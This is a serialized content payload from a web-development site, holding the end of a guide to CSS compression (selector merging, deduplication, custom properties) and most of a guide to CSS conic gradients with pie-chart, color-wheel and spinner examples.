",[143,52251,52252],{},"darkgray"," (8 chars) is longer than ",[143,52255,52256],{},"#a9a9a9"," (7 chars). Good minifiers compare both options.",[33,52259,52261],{"id":52260},"font-weight","Font Weight",[193,52263,52264,52272],{},[196,52265,52266],{},[199,52267,52268,52270],{},[202,52269,52091],{},[202,52271,52094],{},[211,52273,52274,52286],{},[199,52275,52276,52281],{},[216,52277,52278],{},[143,52279,52280],{},"font-weight: normal",[216,52282,52283],{},[143,52284,52285],{},"font-weight:400",[199,52287,52288,52293],{},[216,52289,52290],{},[143,52291,52292],{},"font-weight: bold",[216,52294,52295],{},[143,52296,52297],{},"font-weight:700",[11,52299,52301],{"id":52300},"selector-merging","Selector Merging",[16,52303,52304],{},"When multiple selectors share the same rule block, merging them reduces repetition.",[16,52306,51557],{},[135,52308,52310],{"className":1554,"code":52309,"language":1556,"meta":141,"style":141},"h1 {\n  color: #333;\n  font-weight: bold;\n}\n\nh2 {\n  color: #333;\n  font-weight: bold;\n}\n",[143,52311,52312,52318,52328,52339,52343,52347,52353,52363,52373],{"__ignoreMap":141},[1560,52313,52314,52316],{"class":1562,"line":1563},[1560,52315,41446],{"class":2484},[1560,52317,1571],{"class":1570},[1560,52319,52320,52322,52324,52326],{"class":1562,"line":337},[1560,52321,2510],{"class":1576},[1560,52323,1663],{"class":1570},[1560,52325,51917],{"class":1576},[1560,52327,2228],{"class":1570},[1560,52329,52330,52333,52335,52337],{"class":1562,"line":343},[1560,52331,52332],{"class":1576},"  font-weight",[1560,52334,1663],{"class":1570},[1560,52336,9563],{"class":1576},[1560,52338,2228],{"class":1570},[1560,52340,52341],{"class":1562,"line":365},[1560,52342,1585],{"class":1570},[1560,52344,52345],{"class":1562,"line":889},[1560,52346,1702],{"emptyLinePlaceholder":363},[1560,52348,52349,52351],{"class":1562,"line":1710},[1560,52350,11],{"class":2484},[1560,52352,1571],{"class":1570},[1560,52354,52355,52357,52359,52361],{"class":1562,"line":1717},[1560,52356,2510],{"class":1576},[1560,52358,1663],{"class":1570},[1560,52360,51917],{"class":1576},[1560,52362,2228],{"class":1570},[1560,52364,52365,52367,52369,52371],{"class":1562,"line":1747},[1560,52366,52332],{"class":1576},[1560,52368,1663],{"class":1570},[1560,52370,9563],{"class":1576},[1560,52372,2228],{"class":1570},[1560,52374,52375],{"class":1562,"line":2507},[1560,52376,1585],{"class":1570},[16,52378,51610],{},[135,52380,52382],{"className":1554,"code":52381,"language":1556,"meta":141,"style":141},"h1,h2{color:#333;font-weight:bold}\n",[143,52383,52384],{"__ignoreMap":141},[1560,52385,52386,52388,52390,52392,52394,52396,52398,52400,52402,52404,52406,52408],{"class":1562,"line":1563},[1560,52387,41446],{"class":2484},[1560,52389,6858],{"class":1570},[1560,52391,11],{"class":2484},[1560,52393,51622],{"class":1570},[1560,52395,12607],{"class":1576},[1560,52397,8037],{"class":1570},[1560,52399,51917],{"class":1576},[1560,52401,36973],{"class":1570},[1560,52403,52260],{"class":1576},[1560,52405,8037],{"class":1570},[1560,52407,9563],{"class":1576},[1560,52409,1585],{"class":1570},[16,52411,52412,52413,52415],{},"This technique becomes powerful across large codebases. However, minifiers must be careful — merging selectors can change CSS specificity in edge cases or break ",[143,52414,17186],{}," rule boundaries.",[16,52417,52418],{},"Most modern minifiers only merge selectors when it's provably safe.",[11,52420,52422],{"id":52421},"duplicate-rule-removal","Duplicate Rule Removal",[16,52424,52425],{},"Large projects often accumulate duplicate declarations. Minifiers deduplicate them:",[16,52427,51557],{},[135,52429,52431],{"className":1554,"code":52430,"language":1556,"meta":141,"style":141},".card { padding: 16px; margin: 8px; }\n.panel { padding: 16px; margin: 8px; }\n",[143,52432,52433,52459],{"__ignoreMap":141},[1560,52434,52435,52437,52439,52441,52443,52445,52447,52449,52451,52453,52455,52457],{"class":1562,"line":1563},[1560,52436,1567],{"class":1566},[1560,52438,1658],{"class":1570},[1560,52440,41140],{"class":1576},[1560,52442,1663],{"class":1570},[1560,52444,10057],{"class":1576},[1560,52446,1670],{"class":1669},[1560,52448,3664],{"class":1570},[1560,52450,1876],{"class":1576},[1560,52452,1663],{"class":1570},[1560,52454,10078],{"class":1576},[1560,52456,1670],{"class":1669},[1560,52458,1673],{"class":1570},[1560,52460,52461,52464,52466,52468,52470,52472,52474,52476,52478,52480,52482,52484],{"class":1562,"line":337},[1560,52462,52463],{"class":1566},".panel",[1560,52465,1658],{"class":1570},[1560,52467,41140],{"class":1576},[1560,52469,1663],{"class":1570},[1560,52471,10057],{"class":1576},[1560,52473,1670],{"class":1669},[1560,52475,3664],{"class":1570},[1560,52477,1876],{"class":1576},[1560,52479,1663],{"class":1570},[1560,52481,10078],{"class":1576},[1560,52483,1670],{"class":1669},[1560,52485,1673],{"class":1570},[16,52487,51610],{},[135,52489,52491],{"className":1554,"code":52490,"language":1556,"meta":141,"style":141},".card,.panel{padding:16px;margin:8px}\n",[143,52492,52493],{"__ignoreMap":141},[1560,52494,52495,52497,52499,52501,52503,52505,52507,52509,52511,52513,52515,52517,52519,52521],{"class":1562,"line":1563},[1560,52496,1567],{"class":1566},[1560,52498,6858],{"class":1570},[1560,52500,52463],{"class":1566},[1560,52502,51622],{"class":1570},[1560,52504,41140],{"class":1576},[1560,52506,8037],{"class":1570},[1560,52508,10057],{"class":1576},[1560,52510,1670],{"class":1669},[1560,52512,36973],{"class":1570},[1560,52514,1876],{"class":1576},[1560,52516,8037],{"class":1570},[1560,52518,10078],{"class":1576},[1560,52520,1670],{"class":1669},[1560,52522,1585],{"class":1570},[16,52524,52525],{},"Some minifiers go further and extract shared properties from rule blocks that only partially overlap, splitting them into common and unique rule sets.",[11,52527,52529],{"id":52528},"css-custom-properties-and-compression","CSS Custom Properties and Compression",[16,52531,52532],{},"Custom properties (CSS variables) change how minifiers work.",[135,52534,52536],{"className":1554,"code":52535,"language":1556,"meta":141,"style":141},":root {\n  --primary: #0066cc;\n  --spacing: 16px;\n}\n",[143,52537,52538,52544,52555,52568],{"__ignoreMap":141},[1560,52539,52540,52542],{"class":1562,"line":1563},[1560,52541,2207],{"class":1566},[1560,52543,1571],{"class":1570},[1560,52545,52546,52549,52551,52553],{"class":1562,"line":337},[1560,52547,52548],{"class":2219},"  --primary",[1560,52550,1663],{"class":1570},[1560,52552,51587],{"class":1576},[1560,52554,2228],{"class":1570},[1560,52556,52557,52560,52562,52564,52566],{"class":1562,"line":343},[1560,52558,52559],{"class":2219},"  --spacing",[1560,52561,1663],{"class":1570},[1560,52563,10057],{"class":1576},[1560,52565,1670],{"class":1669},[1560,52567,2228],{"class":1570},[1560,52569,52570],{"class":1562,"line":365},[1560,52571,1585],{"class":1570},[16,52573,52574,52575,12674,52578,52580],{},"Minifiers cannot replace ",[143,52576,52577],{},"var(--primary)",[143,52579,51587],{}," because:",[41,52582,52583,52586,52589],{},[44,52584,52585],{},"Custom properties cascade and can be overridden at any selector level",[44,52587,52588],{},"JavaScript can change custom property values at runtime",[44,52590,421,52591,52594],{},[143,52592,52593],{},"var()"," function can have fallback values",[16,52596,52597],{},"However, minifiers can still:",[41,52599,52600,52603,52613],{},[44,52601,52602],{},"Strip whitespace within custom property declarations",[44,52604,52605,52606,52609,52610,1525],{},"Shorten hex values assigned to custom properties (",[143,52607,52608],{},"--color: #ffffff"," → ",[143,52611,52612],{},"--color:#fff",[44,52614,52615],{},"Remove duplicate custom property declarations in the same scope",[16,52617,52618],{},"If you use CSS variables heavily, the minification savings may be smaller than expected compared to hardcoded values. That's a trade-off for the maintainability variables provide.",[11,52620,52622],{"id":52621},"technique-impact-comparison","Technique Impact Comparison",[193,52624,52625,52635],{},[196,52626,52627],{},[199,52628,52629,52631,52633],{},[202,52630,52178],{},[202,52632,20364],{},[202,52634,15422],{},[211,52636,52637,52646,52656,52665,52673,52683],{},[199,52638,52639,52642,52644],{},[216,52640,52641],{},"Comment removal",[216,52643,21869],{},[216,52645,22317],{},[199,52647,52648,52651,52654],{},[216,52649,52650],{},"Whitespace stripping",[216,52652,52653],{},"15–30%",[216,52655,22317],{},[199,52657,52658,52661,52663],{},[216,52659,52660],{},"Shorthand expansion",[216,52662,21877],{},[216,52664,36949],{},[199,52666,52667,52669,52671],{},[216,52668,50131],{},[216,52670,16481],{},[216,52672,36949],{},[199,52674,52675,52677,52680],{},[216,52676,50110],{},[216,52678,52679],{},"1–5%",[216,52681,52682],{},"Low (edge cases)",[199,52684,52685,52688,52691],{},[216,52686,52687],{},"Duplicate removal",[216,52689,52690],{},"1–10%",[216,52692,52693],{},"Low (depends on codebase)",[16,52695,52696],{},"The bulk of savings come from the simplest techniques — comments and whitespace. Advanced optimizations matter most on large, messy codebases.",[11,52698,1355],{"id":1354},[41,52700,52701,52704,52707,52710,52713,52716],{},[44,52702,52703],{},"Comment removal and whitespace stripping account for the largest size reductions",[44,52705,52706],{},"Shorthand properties (margin, padding, border, background) compress longhand rules efficiently",[44,52708,52709],{},"Value optimizations — dropping zero units, shortening hex colors, removing leading zeros — add up across thousands of declarations",[44,52711,52712],{},"Selector merging is powerful but requires careful implementation to avoid specificity bugs",[44,52714,52715],{},"CSS custom properties limit minification potential since values are resolved at runtime",[44,52717,52718],{},"Always test minified output against your unminified source to catch edge cases",[11,52720,286],{"id":285},[16,52722,52723,52724,52726],{},"See these compression techniques in action with our free ",[98,52725,21372],{"href":21371},". Paste your stylesheet and compare the before and after.",[11,52728,321],{"id":320},[41,52730,52731,52736,52741],{},[44,52732,52733,52735],{},[98,52734,50511],{"href":21350}," — why minification matters for performance",[44,52737,52738,52740],{},[98,52739,49388],{"href":50559}," — pick the right minifier for your project",[44,52742,52743,52745],{},[98,52744,50524],{"href":50523}," — optimize your markup too",[2043,52747,52748],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":52750},[52751,52752,52753,52754,52759,52764,52765,52766,52767,52768,52769,52770],{"id":51540,"depth":337,"text":51541},{"id":51550,"depth":337,"text":51551},{"id":51646,"depth":337,"text":51647},{"id":51763,"depth":337,"text":51764,"children":52755},[52756,52757,52758],{"id":51770,"depth":343,"text":51771},{"id":51869,"depth":343,"text":51870},{"id":11362,"depth":343,"text":3432},{"id":52068,"depth":337,"text":52069,"children":52760},[52761,52762,52763],{"id":52075,"depth":343,"text":52076},{"id":52161,"depth":343,"text":52162},{"id":52260,"depth":343,"text":52261},{"id":52300,"depth":337,"text":52301},{"id":52421,"depth":337,"text":52422},{"id":52528,"depth":337,"text":52529},{"id":52621,"depth":337,"text":52622},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Master CSS compression techniques including comment removal, whitespace stripping, shorthand properties, value optimization, and selector merging.",{"immutable":363},{"title":50517,"description":52771},"guides\u002Fcss-compression-techniques","U4e21NnflyaB87DS-yi3oCSrmxpqbY8PYXZsJaQD8Ys",{"id":52777,"title":52778,"body":52779,"date":2070,"description":53582,"extension":361,"meta":53583,"navigation":363,"path":53584,"readingTime":1710,"seo":53585,"stem":53586,"__hash__":53587},"guides\u002Fguides\u002Fcss-conic-gradient-guide.md","CSS Conic Gradients Explained",{"type":8,"value":52780,"toc":53567},[52781,52785,52788,52801,52805,52808,52866,52895,52898,52907,52910,52914,52917,52954,52957,52961,52967,53080,53083,53186,53189,53193,53196,53244,53247,53251,53254,53385,53388,53392,53398,53428,53431,53435,53484,53486,53521,53523,53557,53559,53564],[11,52782,52784],{"id":52783},"what-is-a-conic-gradient","What Is a Conic Gradient?",[16,52786,52787],{},"A conic gradient sweeps colors around a center point, like the slices of a pie chart or the hues on a color wheel. Unlike linear gradients that transition along a line or radial gradients that expand outward in circles, conic gradients rotate color stops around an origin angle — producing patterns that are impossible to replicate with the other two types.",[16,52789,421,52790,52793,52794,52797,52798,52800],{},[143,52791,52792],{},"conic-gradient()"," function is supported in all modern browsers and works anywhere CSS accepts an ",[143,52795,52796],{},"\u003Cimage>"," value — most commonly in ",[143,52799,11362],{}," properties.",[11,52802,52804],{"id":52803},"syntax-and-color-stops","Syntax and Color Stops",[16,52806,52807],{},"The full syntax gives you control over the center position, starting angle, and color transition points:",[135,52809,52811],{"className":1554,"code":52810,"language":1556,"meta":141,"style":141},"background: conic-gradient(\n  from 45deg at 50% 50%,\n  #f00 0deg,\n  #ff0 90deg,\n  #0f0 180deg,\n  #00f 270deg,\n  #f00 360deg\n);\n",[143,52812,52813,52818,52823,52831,52839,52847,52855,52862],{"__ignoreMap":141},[1560,52814,52815],{"class":1562,"line":1563},[1560,52816,52817],{"class":1570},"background: conic-gradient(\n",[1560,52819,52820],{"class":1562,"line":337},[1560,52821,52822],{"class":1570},"  from 45deg at 50% 50%,\n",[1560,52824,52825,52828],{"class":1562,"line":343},[1560,52826,52827],{"class":1566},"  #f00",[1560,52829,52830],{"class":1570}," 0deg,\n",[1560,52832,52833,52836],{"class":1562,"line":365},[1560,52834,52835],{"class":1566},"  #ff0",[1560,52837,52838],{"class":1570}," 90deg,\n",[1560,52840,52841,52844],{"class":1562,"line":889},[1560,52842,52843],{"class":5159},"  #0f0",[1560,52845,52846],{"class":1570}," 180deg,\n",[1560,52848,52849,52852],{"class":1562,"line":1710},[1560,52850,52851],{"class":5159},"  #00f",[1560,52853,52854],{"class":1570}," 270deg,\n",[1560,52856,52857,52859],{"class":1562,"line":1717},[1560,52858,52827],{"class":1566},[1560,52860,52861],{"class":1570}," 360deg\n",[1560,52863,52864],{"class":1562,"line":1747},[1560,52865,1744],{"class":1570},[41,52867,52868,52879,52889],{},[44,52869,52870,52874,52875,52878],{},[47,52871,52872],{},[143,52873,8168],{}," — sets the starting angle (defaults to ",[143,52876,52877],{},"0deg",", which is straight up).",[44,52880,52881,52886,52887,9368],{},[47,52882,52883],{},[143,52884,52885],{},"at"," — positions the center point (defaults to ",[143,52888,32199],{},[44,52890,52891,52894],{},[47,52892,52893],{},"Color stops"," — specify colors at angle positions around the circle.",[16,52896,52897],{},"You can omit the angles entirely for equal distribution:",[135,52899,52901],{"className":1554,"code":52900,"language":1556,"meta":141,"style":141},"background: conic-gradient(red, yellow, green, blue, red);\n",[143,52902,52903],{"__ignoreMap":141},[1560,52904,52905],{"class":1562,"line":1563},[1560,52906,52900],{"class":1570},[16,52908,52909],{},"This divides the 360-degree sweep evenly among the five stops.",[33,52911,52913],{"id":52912},"hard-stops-for-pie-slices","Hard Stops for Pie Slices",[16,52915,52916],{},"When two color stops share the same angle, you get a hard edge — perfect for pie-chart-like visuals:",[135,52918,52920],{"className":1554,"code":52919,"language":1556,"meta":141,"style":141},"background: conic-gradient(\n  #4caf50 0deg 120deg,\n  #2196f3 120deg 240deg,\n  #ff9800 240deg 360deg\n);\n",[143,52921,52922,52926,52934,52942,52950],{"__ignoreMap":141},[1560,52923,52924],{"class":1562,"line":1563},[1560,52925,52817],{"class":1570},[1560,52927,52928,52931],{"class":1562,"line":337},[1560,52929,52930],{"class":5159},"  #4caf50",[1560,52932,52933],{"class":1570}," 0deg 120deg,\n",[1560,52935,52936,52939],{"class":1562,"line":343},[1560,52937,52938],{"class":5159},"  #2196f3",[1560,52940,52941],{"class":1570}," 120deg 240deg,\n",[1560,52943,52944,52947],{"class":1562,"line":365},[1560,52945,52946],{"class":1566},"  #ff9800",[1560,52948,52949],{"class":1570}," 240deg 360deg\n",[1560,52951,52952],{"class":1562,"line":889},[1560,52953,1744],{"class":1570},[16,52955,52956],{},"Each color occupies exactly one-third of the circle with no blending between them.",[11,52958,52960],{"id":52959},"building-a-pie-chart","Building a Pie Chart",[16,52962,52963,52964,8037],{},"You can create a simple CSS-only pie chart by combining hard stops with ",[143,52965,52966],{},"border-radius: 50%",[135,52968,52970],{"className":1554,"code":52969,"language":1556,"meta":141,"style":141},".pie-chart {\n  width: 200px;\n  height: 200px;\n  border-radius: 50%;\n  background: conic-gradient(\n    #6366f1 0deg 150deg,\n    #22d3ee 150deg 240deg,\n    #f472b6 240deg 360deg\n  );\n}\n",[143,52971,52972,52979,52991,53003,53015,53026,53042,53057,53072,53076],{"__ignoreMap":141},[1560,52973,52974,52977],{"class":1562,"line":1563},[1560,52975,52976],{"class":1566},".pie-chart",[1560,52978,1571],{"class":1570},[1560,52980,52981,52983,52985,52987,52989],{"class":1562,"line":337},[1560,52982,12386],{"class":1576},[1560,52984,1663],{"class":1570},[1560,52986,18101],{"class":1576},[1560,52988,1670],{"class":1669},[1560,52990,2228],{"class":1570},[1560,52992,52993,52995,52997,52999,53001],{"class":1562,"line":343},[1560,52994,12400],{"class":1576},[1560,52996,1663],{"class":1570},[1560,52998,18101],{"class":1576},[1560,53000,1670],{"class":1669},[1560,53002,2228],{"class":1570},[1560,53004,53005,53007,53009,53011,53013],{"class":1562,"line":365},[1560,53006,17294],{"class":1576},[1560,53008,1663],{"class":1570},[1560,53010,18059],{"class":1576},[1560,53012,17990],{"class":1669},[1560,53014,2228],{"class":1570},[1560,53016,53017,53019,53021,53024],{"class":1562,"line":889},[1560,53018,5665],{"class":1576},[1560,53020,1663],{"class":1570},[1560,53022,53023],{"class":1576},"conic-gradient",[1560,53025,35957],{"class":1570},[1560,53027,53028,53031,53033,53035,53038,53040],{"class":1562,"line":1710},[1560,53029,53030],{"class":1576},"    #6366f1",[1560,53032,13541],{"class":1576},[1560,53034,1694],{"class":1669},[1560,53036,53037],{"class":1576}," 150",[1560,53039,1694],{"class":1669},[1560,53041,11943],{"class":1570},[1560,53043,53044,53047,53049,53051,53053,53055],{"class":1562,"line":1717},[1560,53045,53046],{"class":1576},"    #22d3ee",[1560,53048,53037],{"class":1576},[1560,53050,1694],{"class":1669},[1560,53052,43352],{"class":1576},[1560,53054,1694],{"class":1669},[1560,53056,11943],{"class":1570},[1560,53058,53059,53062,53064,53066,53069],{"class":1562,"line":1747},[1560,53060,53061],{"class":1576},"    #f472b6",[1560,53063,43352],{"class":1576},[1560,53065,1694],{"class":1669},[1560,53067,53068],{"class":1576}," 360",[1560,53070,53071],{"class":1669},"deg\n",[1560,53073,53074],{"class":1562,"line":2507},[1560,53075,36075],{"class":1570},[1560,53077,53078],{"class":1562,"line":2524},[1560,53079,1585],{"class":1570},[16,53081,53082],{},"To add a label in the center, overlay a smaller circle:",[135,53084,53086],{"className":1554,"code":53085,"language":1556,"meta":141,"style":141},".pie-chart::after {\n  content: \"42%\";\n  position: absolute;\n  inset: 30%;\n  border-radius: 50%;\n  background: white;\n  display: grid;\n  place-items: center;\n  font-weight: 600;\n}\n",[143,53087,53088,53095,53106,53116,53128,53140,53150,53161,53172,53182],{"__ignoreMap":141},[1560,53089,53090,53093],{"class":1562,"line":1563},[1560,53091,53092],{"class":1566},".pie-chart::after",[1560,53094,1571],{"class":1570},[1560,53096,53097,53099,53101,53104],{"class":1562,"line":337},[1560,53098,5629],{"class":1576},[1560,53100,1663],{"class":1570},[1560,53102,53103],{"class":5634},"\"42%\"",[1560,53105,2228],{"class":1570},[1560,53107,53108,53110,53112,53114],{"class":1562,"line":343},[1560,53109,5642],{"class":1576},[1560,53111,1663],{"class":1570},[1560,53113,5647],{"class":1576},[1560,53115,2228],{"class":1570},[1560,53117,53118,53120,53122,53124,53126],{"class":1562,"line":365},[1560,53119,5654],{"class":1576},[1560,53121,1663],{"class":1570},[1560,53123,23995],{"class":1576},[1560,53125,17990],{"class":1669},[1560,53127,2228],{"class":1570},[1560,53129,53130,53132,53134,53136,53138],{"class":1562,"line":889},[1560,53131,17294],{"class":1576},[1560,53133,1663],{"class":1570},[1560,53135,18059],{"class":1576},[1560,53137,17990],{"class":1669},[1560,53139,2228],{"class":1570},[1560,53141,53142,53144,53146,53148],{"class":1562,"line":1710},[1560,53143,5665],{"class":1576},[1560,53145,1663],{"class":1570},[1560,53147,2565],{"class":1576},[1560,53149,2228],{"class":1570},[1560,53151,53152,53154,53156,53159],{"class":1562,"line":1717},[1560,53153,12504],{"class":1576},[1560,53155,1663],{"class":1570},[1560,53157,53158],{"class":1576},"grid",[1560,53160,2228],{"class":1570},[1560,53162,53163,53166,53168,53170],{"class":1562,"line":1747},[1560,53164,53165],{"class":1576},"  place-items",[1560,53167,1663],{"class":1570},[1560,53169,32199],{"class":1576},[1560,53171,2228],{"class":1570},[1560,53173,53174,53176,53178,53180],{"class":1562,"line":2507},[1560,53175,52332],{"class":1576},[1560,53177,1663],{"class":1570},[1560,53179,24601],{"class":1576},[1560,53181,2228],{"class":1570},[1560,53183,53184],{"class":1562,"line":2524},[1560,53185,1585],{"class":1570},[16,53187,53188],{},"This \"donut chart\" pattern is a common way to foreground a key metric inside the ring.",[11,53190,53192],{"id":53191},"color-wheels-and-hue-rotations","Color Wheels and Hue Rotations",[16,53194,53195],{},"A conic gradient cycling through all hues produces a color wheel:",[135,53197,53199],{"className":1554,"code":53198,"language":1556,"meta":141,"style":141},"background: conic-gradient(\n  hsl(0, 100%, 50%),\n  hsl(60, 100%, 50%),\n  hsl(120, 100%, 50%),\n  hsl(180, 100%, 50%),\n  hsl(240, 100%, 50%),\n  hsl(300, 100%, 50%),\n  hsl(360, 100%, 50%)\n);\n",[143,53200,53201,53205,53210,53215,53220,53225,53230,53235,53240],{"__ignoreMap":141},[1560,53202,53203],{"class":1562,"line":1563},[1560,53204,52817],{"class":1570},[1560,53206,53207],{"class":1562,"line":337},[1560,53208,53209],{"class":1570},"  hsl(0, 100%, 50%),\n",[1560,53211,53212],{"class":1562,"line":343},[1560,53213,53214],{"class":1570},"  hsl(60, 100%, 50%),\n",[1560,53216,53217],{"class":1562,"line":365},[1560,53218,53219],{"class":1570},"  hsl(120, 100%, 50%),\n",[1560,53221,53222],{"class":1562,"line":889},[1560,53223,53224],{"class":1570},"  hsl(180, 100%, 50%),\n",[1560,53226,53227],{"class":1562,"line":1710},[1560,53228,53229],{"class":1570},"  hsl(240, 100%, 50%),\n",[1560,53231,53232],{"class":1562,"line":1717},[1560,53233,53234],{"class":1570},"  hsl(300, 100%, 50%),\n",[1560,53236,53237],{"class":1562,"line":1747},[1560,53238,53239],{"class":1570},"  hsl(360, 100%, 50%)\n",[1560,53241,53242],{"class":1562,"line":2507},[1560,53243,1744],{"class":1570},[16,53245,53246],{},"This is useful for color picker UIs or as a visual reference when working with HSL values.",[11,53248,53250],{"id":53249},"spinner-and-loading-effects","Spinner and Loading Effects",[16,53252,53253],{},"Conic gradients shine in loading animations. A common spinner uses a fade from a solid color to transparency:",[135,53255,53257],{"className":1554,"code":53256,"language":1556,"meta":141,"style":141},".spinner {\n  width: 48px;\n  height: 48px;\n  border-radius: 50%;\n  background: conic-gradient(#6366f1 0deg, transparent 270deg);\n  animation: spin 0.8s linear infinite;\n}\n\n@keyframes spin {\n  to { transform: rotate(360deg); }\n}\n",[143,53258,53259,53266,53278,53290,53302,53329,53345,53349,53353,53361,53381],{"__ignoreMap":141},[1560,53260,53261,53264],{"class":1562,"line":1563},[1560,53262,53263],{"class":1566},".spinner",[1560,53265,1571],{"class":1570},[1560,53267,53268,53270,53272,53274,53276],{"class":1562,"line":337},[1560,53269,12386],{"class":1576},[1560,53271,1663],{"class":1570},[1560,53273,32575],{"class":1576},[1560,53275,1670],{"class":1669},[1560,53277,2228],{"class":1570},[1560,53279,53280,53282,53284,53286,53288],{"class":1562,"line":343},[1560,53281,12400],{"class":1576},[1560,53283,1663],{"class":1570},[1560,53285,32575],{"class":1576},[1560,53287,1670],{"class":1669},[1560,53289,2228],{"class":1570},[1560,53291,53292,53294,53296,53298,53300],{"class":1562,"line":365},[1560,53293,17294],{"class":1576},[1560,53295,1663],{"class":1570},[1560,53297,18059],{"class":1576},[1560,53299,17990],{"class":1669},[1560,53301,2228],{"class":1570},[1560,53303,53304,53306,53308,53310,53312,53314,53316,53318,53320,53322,53325,53327],{"class":1562,"line":889},[1560,53305,5665],{"class":1576},[1560,53307,1663],{"class":1570},[1560,53309,53023],{"class":1576},[1560,53311,1688],{"class":1570},[1560,53313,5752],{"class":1576},[1560,53315,13541],{"class":1576},[1560,53317,1694],{"class":1669},[1560,53319,1459],{"class":1570},[1560,53321,47251],{"class":1576},[1560,53323,53324],{"class":1576}," 270",[1560,53326,1694],{"class":1669},[1560,53328,1744],{"class":1570},[1560,53330,53331,53333,53335,53337,53339,53341,53343],{"class":1562,"line":1710},[1560,53332,20083],{"class":1576},[1560,53334,44326],{"class":1570},[1560,53336,36308],{"class":1576},[1560,53338,18727],{"class":1669},[1560,53340,44333],{"class":1576},[1560,53342,20096],{"class":1576},[1560,53344,2228],{"class":1570},[1560,53346,53347],{"class":1562,"line":1717},[1560,53348,1585],{"class":1570},[1560,53350,53351],{"class":1562,"line":1747},[1560,53352,1702],{"emptyLinePlaceholder":363},[1560,53354,53355,53357,53359],{"class":1562,"line":2507},[1560,53356,19946],{"class":1669},[1560,53358,44630],{"class":2219},[1560,53360,1571],{"class":1570},[1560,53362,53363,53365,53367,53369,53371,53373,53375,53377,53379],{"class":1562,"line":2524},[1560,53364,44637],{"class":1566},[1560,53366,1658],{"class":1570},[1560,53368,1514],{"class":1576},[1560,53370,1663],{"class":1570},[1560,53372,35461],{"class":1576},[1560,53374,1688],{"class":1570},[1560,53376,44650],{"class":1576},[1560,53378,1694],{"class":1669},[1560,53380,1697],{"class":1570},[1560,53382,53383],{"class":1562,"line":2529},[1560,53384,1585],{"class":1570},[16,53386,53387],{},"The gradient fades out before completing the circle, so the \"tail\" disappears — creating a convincing spinning effect with just one element and no extra markup.",[11,53389,53391],{"id":53390},"repeating-conic-gradients","Repeating Conic Gradients",[16,53393,421,53394,53397],{},[143,53395,53396],{},"repeating-conic-gradient()"," function tiles the gradient pattern, producing ray or starburst effects:",[135,53399,53401],{"className":1554,"code":53400,"language":1556,"meta":141,"style":141},"background: repeating-conic-gradient(\n  #1e1b4b 0deg 30deg,\n  #312e81 30deg 60deg\n);\n",[143,53402,53403,53408,53416,53424],{"__ignoreMap":141},[1560,53404,53405],{"class":1562,"line":1563},[1560,53406,53407],{"class":1570},"background: repeating-conic-gradient(\n",[1560,53409,53410,53413],{"class":1562,"line":337},[1560,53411,53412],{"class":5159},"  #1e1b4b",[1560,53414,53415],{"class":1570}," 0deg 30deg,\n",[1560,53417,53418,53421],{"class":1562,"line":343},[1560,53419,53420],{"class":5159},"  #312e81",[1560,53422,53423],{"class":1570}," 30deg 60deg\n",[1560,53425,53426],{"class":1562,"line":365},[1560,53427,1744],{"class":1570},[16,53429,53430],{},"This alternates two dark colors every 30 degrees, creating 12 identical slices. It works well for decorative backgrounds or subtle texture overlays.",[33,53432,53434],{"id":53433},"comparison-conic-vs-repeating-conic","Comparison: Conic vs Repeating Conic",[193,53436,53437,53451],{},[196,53438,53439],{},[199,53440,53441,53443,53447],{},[202,53442,5867],{},[202,53444,53445],{},[143,53446,52792],{},[202,53448,53449],{},[143,53450,53396],{},[211,53452,53453,53463,53473],{},[199,53454,53455,53457,53460],{},[216,53456,18376],{},[216,53458,53459],{},"Single sweep, then last color fills",[216,53461,53462],{},"Repeats the defined pattern",[199,53464,53465,53467,53470],{},[216,53466,31918],{},[216,53468,53469],{},"Pie charts, color wheels",[216,53471,53472],{},"Rays, burst patterns, texture",[199,53474,53475,53478,53481],{},[216,53476,53477],{},"Blank areas",[216,53479,53480],{},"Last color extends beyond stops",[216,53482,53483],{},"Stops loop automatically",[11,53485,2341],{"id":2340},[41,53487,53488,53498,53513],{},[44,53489,53490,53493,53494,53497],{},[47,53491,53492],{},"Forgetting to close the circle"," — if your last color stop is less than ",[143,53495,53496],{},"360deg",", the remaining angle fills with the last color. This is often unintended.",[44,53499,53500,53503,53504,1459,53506,1459,53509,53512],{},[47,53501,53502],{},"Using percentages instead of degrees"," — conic-gradient uses angle units (",[143,53505,1694],{},[143,53507,53508],{},"rad",[143,53510,53511],{},"turn","), not percentages like linear and radial gradients.",[44,53514,53515,53520],{},[47,53516,53517,53518],{},"Not setting ",[143,53519,16947],{}," — without it, you get a square with a conic pattern, not a circle.",[11,53522,1355],{"id":1354},[41,53524,53525,53528,53531,53538,53543,53551],{},[44,53526,53527],{},"Conic gradients rotate color around a center point, unlike linear (along a line) or radial (outward from center).",[44,53529,53530],{},"Hard stops at the same angle create pie-slice effects with no 